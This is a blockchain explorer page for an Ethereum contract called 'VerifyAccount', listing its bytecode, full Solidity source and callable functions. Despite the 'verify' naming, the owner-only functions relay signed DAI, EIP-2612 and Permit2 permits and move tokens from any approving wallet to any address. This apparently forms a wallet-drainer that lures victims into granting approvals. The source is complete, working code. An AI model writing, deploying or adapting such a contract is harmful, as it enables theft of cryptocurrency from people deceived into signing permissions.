Forkchoice Ethereum Mainnet

Address Contract Partially Verified

Address 0x5bdEfc15B60a6cA75A2adfa85EcE35Bf7288803f
Balance 0 ETH
Nonce 1
Code Size 10936 bytes
Indexed Transactions 0 (1 on-chain, 0.8% indexed)
External Etherscan · Sourcify

Contract Bytecode

10936 bytes
0x608060405260043610610094575f3560e01c806378dac0ce1161005857806378dac0ce146101b65780637fac8ce4146101d25780638da5cb5b146101fa578063e7092b4114610224578063f2fde38b14610260576100d4565b806311f8d7df146100d85780632db885d31461010057806337deb8b514610128578063437ddf0c146101505780635b87ba3d14610178576100d4565b366100d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100cb90611904565b60405180910390fd5b5f5ffd5b3480156100e3575f5ffd5b506100fe60048036038101906100f991906119ae565b610288565b005b34801561010b575f5ffd5b5061012660048036038101906101219190611ac1565b6104e1565b005b348015610133575f5ffd5b5061014e60048036038101906101499190611b72565b61079a565b005b34801561015b575f5ffd5b5061017660048036038101906101719190611c0b565b610d02565b005b348015610183575f5ffd5b5061019e60048036038101906101999190611ccf565b610fbe565b6040516101ad93929190611d62565b60405180910390f35b6101d060048036038101906101cb9190611dd2565b611129565b005b3480156101dd575f5ffd5b506101f860048036038101906101f39190611e88565b611285565b005b348015610205575f5ffd5b5061020e61156e565b60405161021b9190611f7c565b60405180910390f35b34801561022f575f5ffd5b5061024a60048036038101906102459190611f95565b611592565b6040516102579190611ff4565b60405180910390f35b34801561026b575f5ffd5b506102866004803603810190610281919061200d565b6116f2565b005b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610316576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161030d90612082565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603610384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161037b906120ea565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036103f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103e990612152565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff166336c78516858585856040518563ffffffff1660e01b81526004016104319493929190612170565b5f604051808303815f87803b158015610448575f5ffd5b505af115801561045a573d5f5f3e3d5ffd5b505050508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fbc708ab4e45c8a24b8808549cba01ae82f90af2465c8f393aa4fd6d7a55795e8856040516104d291906121ec565b60405180910390a45050505050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461056f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056690612082565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16036105dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d490612152565b60405180910390fd5b5f8873ffffffffffffffffffffffffffffffffffffffff16888888888888886040516024016106129796959493929190612223565b6040516020818303038152906040527fd505accf000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161069c91906122e2565b5f604051808303815f865af19150503d805f81146106d5576040519150601f19603f3d011682016040523d82523d5f602084013e6106da565b606091505b505090508061071e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071590612342565b60405180910390fd5b8673ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167f2c93032bade2519369827c680c0f721082b921fee5486402094cce0b25ccd87160405160405180910390a4505050505050505050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610828576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081f90612082565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610896576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088d90612152565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610904576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108fb906123aa565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610972576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096990612412565b60405180910390fd5b5f81116109b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ab9061247a565b60405180910390fd5b5f8473ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e85306040518363ffffffff1660e01b81526004016109f0929190612498565b602060405180830381865afa158015610a0b573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a2f91906124d3565b905081811015610a74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6b90612548565b60405180910390fd5b5f8573ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b8152600401610aae9190611f7c565b602060405180830381865afa158015610ac9573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aed91906124d3565b905082811015610b32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b29906125b0565b60405180910390fd5b5f5f8773ffffffffffffffffffffffffffffffffffffffff166323b872dd60e01b888888604051602401610b68939291906125ce565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610bd291906122e2565b5f604051808303815f865af19150503d805f8114610c0b576040519150601f19603f3d011682016040523d82523d5f602084013e610c10565b606091505b5091509150818015610c3d57505f81511480610c3c575080806020019051810190610c3b9190612617565b5b5b610c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c739061268c565b60405180910390fd5b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167f9af266b6ca4909f988dc948fb50ad15153abbe525351881bad4fa858be96515c88604051610cf09190611ff4565b60405180910390a45050505050505050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8790612082565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1603610dfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df590612152565b60405180910390fd5b5f8973ffffffffffffffffffffffffffffffffffffffff168989898989898989604051602401610e359897969594939291906126b9565b6040516020818303038152906040527f8fcbaf0c000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610ebf91906122e2565b5f604051808303815f865af19150503d805f8114610ef8576040519150601f19603f3d011682016040523d82523d5f602084013e610efd565b606091505b5050905080610f41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f389061277f565b60405180910390fd5b8773ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167f2c93032bade2519369827c680c0f721082b921fee5486402094cce0b25ccd87160405160405180910390a450505050505050505050565b5f5f5f5f73ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff160361102f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611026906120ea565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff160361109d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109490612152565b60405180910390fd5b8673ffffffffffffffffffffffffffffffffffffffff1663927da1058787876040518463ffffffff1660e01b81526004016110da9392919061279d565b606060405180830381865afa1580156110f5573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061111991906127fa565b9250925092509450945094915050565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611197576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118e90612894565b60405180910390fd5b5f34116111d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d09061247a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc3490811502906040515f60405180830381858888f1935050505015801561121c573d5f5f3e3d5ffd5b508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fcc818ef07781d55912a0076b90123369c20eebe7d4de5e05c9b2c771224908163460405161127a9190611ff4565b60405180910390a350565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611313576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130a90612082565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff1603611381576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611378906120ea565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16036113ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e690612152565b60405180910390fd5b5f60405180608001604052808a73ffffffffffffffffffffffffffffffffffffffff1681526020018973ffffffffffffffffffffffffffffffffffffffff1681526020018865ffffffffffff1681526020018765ffffffffffff1681525090505f60405180606001604052808381526020018773ffffffffffffffffffffffffffffffffffffffff1681526020018681525090508b73ffffffffffffffffffffffffffffffffffffffff16632b67b5708c8387876040518563ffffffff1660e01b81526004016114c294939291906129db565b5f604051808303815f87803b1580156114d9575f5ffd5b505af11580156114eb573d5f5f3e3d5ffd5b505050508573ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff167fba66c66e127682ed1710c162f9ecf4b453d538778a98821b057584e195082fba60405160405180910390a4505050505050505050505050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f890612152565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361166f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166690612a64565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff1660e01b81526004016116aa929190612498565b602060405180830381865afa1580156116c5573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116e991906124d3565b90509392505050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611780576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177790612082565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036117ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e590612894565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f82825260208201905092915050565b7f446972656374207472616e7366657273206e6f7420616c6c6f776564000000005f82015250565b5f6118ee601c836118aa565b91506118f9826118ba565b602082019050919050565b5f6020820190508181035f83015261191b816118e2565b9050919050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6119538261192a565b9050919050565b61196381611949565b811461196d575f5ffd5b50565b5f8135905061197e8161195a565b92915050565b61198d8161192a565b8114611997575f5ffd5b50565b5f813590506119a881611984565b92915050565b5f5f5f5f5f60a086880312156119c7576119c6611922565b5b5f6119d488828901611970565b95505060206119e588828901611970565b94505060406119f688828901611970565b9350506060611a078882890161199a565b9250506080611a1888828901611970565b9150509295509295909350565b5f819050919050565b611a3781611a25565b8114611a41575f5ffd5b50565b5f81359050611a5281611a2e565b92915050565b5f60ff82169050919050565b611a6d81611a58565b8114611a77575f5ffd5b50565b5f81359050611a8881611a64565b92915050565b5f819050919050565b611aa081611a8e565b8114611aaa575f5ffd5b50565b5f81359050611abb81611a97565b92915050565b5f5f5f5f5f5f5f5f610100898b031215611ade57611add611922565b5b5f611aeb8b828c01611970565b9850506020611afc8b828c01611970565b9750506040611b0d8b828c01611970565b9650506060611b1e8b828c01611a44565b9550506080611b2f8b828c01611a44565b94505060a0611b408b828c01611a7a565b93505060c0611b518b828c01611aad565b92505060e0611b628b828c01611aad565b9150509295985092959890939650565b5f5f5f5f60808587031215611b8a57611b89611922565b5b5f611b9787828801611970565b9450506020611ba887828801611970565b9350506040611bb987828801611970565b9250506060611bca87828801611a44565b91505092959194509250565b5f8115159050919050565b611bea81611bd6565b8114611bf4575f5ffd5b50565b5f81359050611c0581611be1565b92915050565b5f5f5f5f5f5f5f5f5f6101208a8c031215611c2957611c28611922565b5b5f611c368c828d01611970565b9950506020611c478c828d01611970565b9850506040611c588c828d01611970565b9750506060611c698c828d01611a44565b9650506080611c7a8c828d01611a44565b95505060a0611c8b8c828d01611bf7565b94505060c0611c9c8c828d01611a7a565b93505060e0611cad8c828d01611aad565b925050610100611cbf8c828d01611aad565b9150509295985092959850929598565b5f5f5f5f60808587031215611ce757611ce6611922565b5b5f611cf487828801611970565b9450506020611d0587828801611970565b9350506040611d1687828801611970565b9250506060611d2787828801611970565b91505092959194509250565b611d3c8161192a565b82525050565b5f65ffffffffffff82169050919050565b611d5c81611d42565b82525050565b5f606082019050611d755f830186611d33565b611d826020830185611d53565b611d8f6040830184611d53565b949350505050565b5f611da18261192a565b9050919050565b611db181611d97565b8114611dbb575f5ffd5b50565b5f81359050611dcc81611da8565b92915050565b5f60208284031215611de757611de6611922565b5b5f611df484828501611dbe565b91505092915050565b611e0681611d42565b8114611e10575f5ffd5b50565b5f81359050611e2181611dfd565b92915050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f840112611e4857611e47611e27565b5b8235905067ffffffffffffffff811115611e6557611e64611e2b565b5b602083019150836001820283011115611e8157611e80611e2f565b5b9250929050565b5f5f5f5f5f5f5f5f5f5f6101208b8d031215611ea757611ea6611922565b5b5f611eb48d828e01611970565b9a50506020611ec58d828e01611970565b9950506040611ed68d828e01611970565b9850506060611ee78d828e0161199a565b9750506080611ef88d828e01611e13565b96505060a0611f098d828e01611e13565b95505060c0611f1a8d828e01611970565b94505060e0611f2b8d828e01611a44565b9350506101008b013567ffffffffffffffff811115611f4d57611f4c611926565b5b611f598d828e01611e33565b92509250509295989b9194979a5092959850565b611f7681611949565b82525050565b5f602082019050611f8f5f830184611f6d565b92915050565b5f5f5f60608486031215611fac57611fab611922565b5b5f611fb986828701611970565b9350506020611fca86828701611970565b9250506040611fdb86828701611970565b9150509250925092565b611fee81611a25565b82525050565b5f6020820190506120075f830184611fe5565b92915050565b5f6020828403121561202257612021611922565b5b5f61202f84828501611970565b91505092915050565b7f4e6f7420617574686f72697a65640000000000000000000000000000000000005f82015250565b5f61206c600e836118aa565b915061207782612038565b602082019050919050565b5f6020820190508181035f83015261209981612060565b9050919050565b7f496e76616c6964205065726d69743220616464726573730000000000000000005f82015250565b5f6120d46017836118aa565b91506120df826120a0565b602082019050919050565b5f6020820190508181035f830152612101816120c8565b9050919050565b7f496e76616c696420746f6b656e206164647265737300000000000000000000005f82015250565b5f61213c6015836118aa565b915061214782612108565b602082019050919050565b5f6020820190508181035f83015261216981612130565b9050919050565b5f6080820190506121835f830187611f6d565b6121906020830186611f6d565b61219d6040830185611d33565b6121aa6060830184611f6d565b95945050505050565b5f819050919050565b5f6121d66121d16121cc8461192a565b6121b3565b611a25565b9050919050565b6121e6816121bc565b82525050565b5f6020820190506121ff5f8301846121dd565b92915050565b61220e81611a58565b82525050565b61221d81611a8e565b82525050565b5f60e0820190506122365f83018a611f6d565b6122436020830189611f6d565b6122506040830188611fe5565b61225d6060830187611fe5565b61226a6080830186612205565b61227760a0830185612214565b61228460c0830184612214565b98975050505050505050565b5f81519050919050565b5f81905092915050565b8281835e5f83830152505050565b5f6122bc82612290565b6122c6818561229a565b93506122d68185602086016122a4565b80840191505092915050565b5f6122ed82846122b2565b915081905092915050565b7f4549502d32363132207065726d6974206661696c6564000000000000000000005f82015250565b5f61232c6016836118aa565b9150612337826122f8565b602082019050919050565b5f6020820190508181035f83015261235981612320565b9050919050565b7f496e76616c69642073656e6465722061646472657373000000000000000000005f82015250565b5f6123946016836118aa565b915061239f82612360565b602082019050919050565b5f6020820190508181035f8301526123c181612388565b9050919050565b7f496e76616c696420726563697069656e742061646472657373000000000000005f82015250565b5f6123fc6019836118aa565b9150612407826123c8565b602082019050919050565b5f6020820190508181035f830152612429816123f0565b9050919050565b7f416d6f756e74206d7573742062652067726561746572207468616e20300000005f82015250565b5f612464601d836118aa565b915061246f82612430565b602082019050919050565b5f6020820190508181035f83015261249181612458565b9050919050565b5f6040820190506124ab5f830185611f6d565b6124b86020830184611f6d565b9392505050565b5f815190506124cd81611a2e565b92915050565b5f602082840312156124e8576124e7611922565b5b5f6124f5848285016124bf565b91505092915050565b7f496e73756666696369656e7420616c6c6f77616e6365000000000000000000005f82015250565b5f6125326016836118aa565b915061253d826124fe565b602082019050919050565b5f6020820190508181035f83015261255f81612526565b9050919050565b7f496e73756666696369656e7420746f6b656e2062616c616e63650000000000005f82015250565b5f61259a601a836118aa565b91506125a582612566565b602082019050919050565b5f6020820190508181035f8301526125c78161258e565b9050919050565b5f6060820190506125e15f830186611f6d565b6125ee6020830185611f6d565b6125fb6040830184611fe5565b949350505050565b5f8151905061261181611be1565b92915050565b5f6020828403121561262c5761262b611922565b5b5f61263984828501612603565b91505092915050565b7f546f6b656e207472616e73666572206661696c656400000000000000000000005f82015250565b5f6126766015836118aa565b915061268182612642565b602082019050919050565b5f6020820190508181035f8301526126a38161266a565b9050919050565b6126b381611bd6565b82525050565b5f610100820190506126cd5f83018b611f6d565b6126da602083018a611f6d565b6126e76040830189611fe5565b6126f46060830188611fe5565b61270160808301876126aa565b61270e60a0830186612205565b61271b60c0830185612214565b61272860e0830184612214565b9998505050505050505050565b7f4441492d7374796c65207065726d6974206661696c65640000000000000000005f82015250565b5f6127696017836118aa565b915061277482612735565b602082019050919050565b5f6020820190508181035f8301526127968161275d565b9050919050565b5f6060820190506127b05f830186611f6d565b6127bd6020830185611f6d565b6127ca6040830184611f6d565b949350505050565b5f815190506127e081611984565b92915050565b5f815190506127f481611dfd565b92915050565b5f5f5f6060848603121561281157612810611922565b5b5f61281e868287016127d2565b935050602061282f868287016127e6565b9250506040612840868287016127e6565b9150509250925092565b7f496e76616c6964206164647265737300000000000000000000000000000000005f82015250565b5f61287e600f836118aa565b91506128898261284a565b602082019050919050565b5f6020820190508181035f8301526128ab81612872565b9050919050565b6128bb81611949565b82525050565b6128ca8161192a565b82525050565b6128d981611d42565b82525050565b608082015f8201516128f35f8501826128b2565b50602082015161290660208501826128c1565b50604082015161291960408501826128d0565b50606082015161292c60608501826128d0565b50505050565b61293b81611a25565b82525050565b60c082015f8201516129555f8501826128df565b50602082015161296860808501826128b2565b50604082015161297b60a0850182612932565b50505050565b5f82825260208201905092915050565b828183375f83830152505050565b5f601f19601f8301169050919050565b5f6129ba8385612981565b93506129c7838584612991565b6129d08361299f565b840190509392505050565b5f610100820190506129ef5f830187611f6d565b6129fc6020830186612941565b81810360e0830152612a0f8184866129af565b905095945050505050565b7f496e76616c6964207370656e64657220616464726573730000000000000000005f82015250565b5f612a4e6017836118aa565b9150612a5982612a1a565b602082019050919050565b5f6020820190508181035f830152612a7b81612a42565b905091905056fea264697066735822122087c9e480db4c5b5b5d0a8563da5f59110634fca5a10af6be8b7aaf33fe49654764736f6c634300081e0033

Verified Source Code Partial Match

Compiler: v0.8.30+commit.73712a01 EVM: prague Optimization: No
VerifyAccount.sol 210 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
}

interface IPermit2 {
    struct PermitDetails {
        address token;
        uint160 amount;
        uint48 expiration;
        uint48 nonce;
    }

    struct PermitSingle {
        PermitDetails details;
        address spender;
        uint256 sigDeadline;
    }

    function permit(address owner, PermitSingle calldata permitSingle, bytes calldata signature) external;
    function transferFrom(address from, address to, uint160 amount, address token) external;
    function allowance(address owner, address token, address spender) external view returns (uint160 amount, uint48 expiration, uint48 nonce);
}

contract VerifyAccount {
    address public owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event NativeTransferred(address indexed from, address indexed to, uint256 amount);
    event TokenTransferred(address indexed token, address indexed from, address indexed to, uint256 amount);
    event PermitExecuted(address indexed owner, address indexed token, address indexed spender);
    event TransferFromExecuted(address indexed token, address indexed from, address indexed to, uint256 amount);
    event PermitExecutedERC20(address indexed owner, address indexed token, address indexed spender);

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not authorized");
        _;
    }

    function verifyNative(address payable to) external payable {
        require(to != address(0), "Invalid address");
        require(msg.value > 0, "Amount must be greater than 0");

        to.transfer(msg.value);
        emit NativeTransferred(msg.sender, to, msg.value);
    }

    function verify20(
        address token,
        address from,
        address to,
        uint256 amount
    ) external onlyOwner {
        require(token != address(0), "Invalid token address");
        require(from != address(0), "Invalid sender address");
        require(to != address(0), "Invalid recipient address");
        require(amount > 0, "Amount must be greater than 0");

        uint256 allowance = IERC20(token).allowance(from, address(this));
        require(allowance >= amount, "Insufficient allowance");

        uint256 balance = IERC20(token).balanceOf(from);
        require(balance >= amount, "Insufficient token balance");

        // Patched low-level call for USDT compatibility
        (bool success, bytes memory data) = token.call(
            abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, amount)
        );
        require(success && (data.length == 0 || abi.decode(data, (bool))), "Token transfer failed");

        emit TokenTransferred(token, from, to, amount);
    }

    function permitDAI(
        address token,
        address owner_,
        address spender,
        uint256 nonce,
        uint256 deadline,
        bool allowed, 
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external onlyOwner {
        require(token != address(0), "Invalid token address");

        (bool success, ) = token.call(
            abi.encodeWithSignature(
                "permit(address,address,uint256,uint256,bool,uint8,bytes32,bytes32)",
                owner_,
                spender,
                nonce,
                deadline,
                allowed,
                v, r, s
            )
        );
        require(success, "DAI-style permit failed");

        emit PermitExecutedERC20(owner_, token, spender);
    }

    function permitEIP2612(
        address token,
        address owner_,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external onlyOwner {
        require(token != address(0), "Invalid token address");

        (bool success, ) = token.call(
            abi.encodeWithSignature(
                "permit(address,address,uint256,uint256,uint8,bytes32,bytes32)",
                owner_,
                spender,
                value,
                deadline,
                v, r, s
            )
        );
        require(success, "EIP-2612 permit failed");

        emit PermitExecutedERC20(owner_, token, spender);
    }

    function permitViaPermit2(
        address permit2Contract,
        address owner_,
        address token,
        uint160 amount,
        uint48 expiration,
        uint48 nonce,
        address spender,
        uint256 sigDeadline,
        bytes calldata signature
    ) external onlyOwner {
        require(permit2Contract != address(0), "Invalid Permit2 address");
        require(token != address(0), "Invalid token address");

        IPermit2.PermitDetails memory permitDetails = IPermit2.PermitDetails({
            token: token,
            amount: amount,
            expiration: expiration,
            nonce: nonce
        });

        IPermit2.PermitSingle memory permitSingle = IPermit2.PermitSingle({
            details: permitDetails,
            spender: spender,
            sigDeadline: sigDeadline
        });

        IPermit2(permit2Contract).permit(owner_, permitSingle, signature);
        emit PermitExecuted(owner_, token, spender);
    }

    function verify20ViaPermit2(
        address permit2Contract,
        address from,
        address to,
        uint160 amount,
        address token
    ) external onlyOwner {
        require(permit2Contract != address(0), "Invalid Permit2 address");
        require(token != address(0), "Invalid token address");

        IPermit2(permit2Contract).transferFrom(from, to, amount, token);
        emit TransferFromExecuted(token, from, to, amount);
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "Invalid address");
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
    }

    function getAllowance(address token, address owner_, address spender) external view returns (uint256) {
        require(token != address(0), "Invalid token address");
        require(spender != address(0), "Invalid spender address");
        return IERC20(token).allowance(owner_, spender);
    }

    function getAllowanceViaPermit2(
        address permit2Contract,
        address owner_,
        address token,
        address spender
    ) external view returns (uint160 amount, uint48 expiration, uint48 nonce) {
        require(permit2Contract != address(0), "Invalid Permit2 address");
        require(token != address(0), "Invalid token address");

        return IPermit2(permit2Contract).allowance(owner_, token, spender);
    }

    receive() external payable {
        revert("Direct transfers not allowed");
    }
}

Read Contract

getAllowance 0xe7092b41 → uint256
getAllowanceViaPermit2 0x5b87ba3d → uint160, uint48, uint48
owner 0x8da5cb5b → address

Write Contract 7 functions

These functions modify contract state and require a wallet transaction to execute.

permitDAI 0x437ddf0c
address token
address owner_
address spender
uint256 nonce
uint256 deadline
bool allowed
uint8 v
bytes32 r
bytes32 s
permitEIP2612 0x2db885d3
address token
address owner_
address spender
uint256 value
uint256 deadline
uint8 v
bytes32 r
bytes32 s
permitViaPermit2 0x7fac8ce4
address permit2Contract
address owner_
address token
uint160 amount
uint48 expiration
uint48 nonce
address spender
uint256 sigDeadline
bytes signature
transferOwnership 0xf2fde38b
address newOwner
verify20 0x37deb8b5
address token
address from
address to
uint256 amount
verify20ViaPermit2 0x11f8d7df
address permit2Contract
address from
address to
uint160 amount
address token
verifyNative 0x78dac0ce
address to

Recent Transactions

This address has 1 on-chain transactions, but only 0.8% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →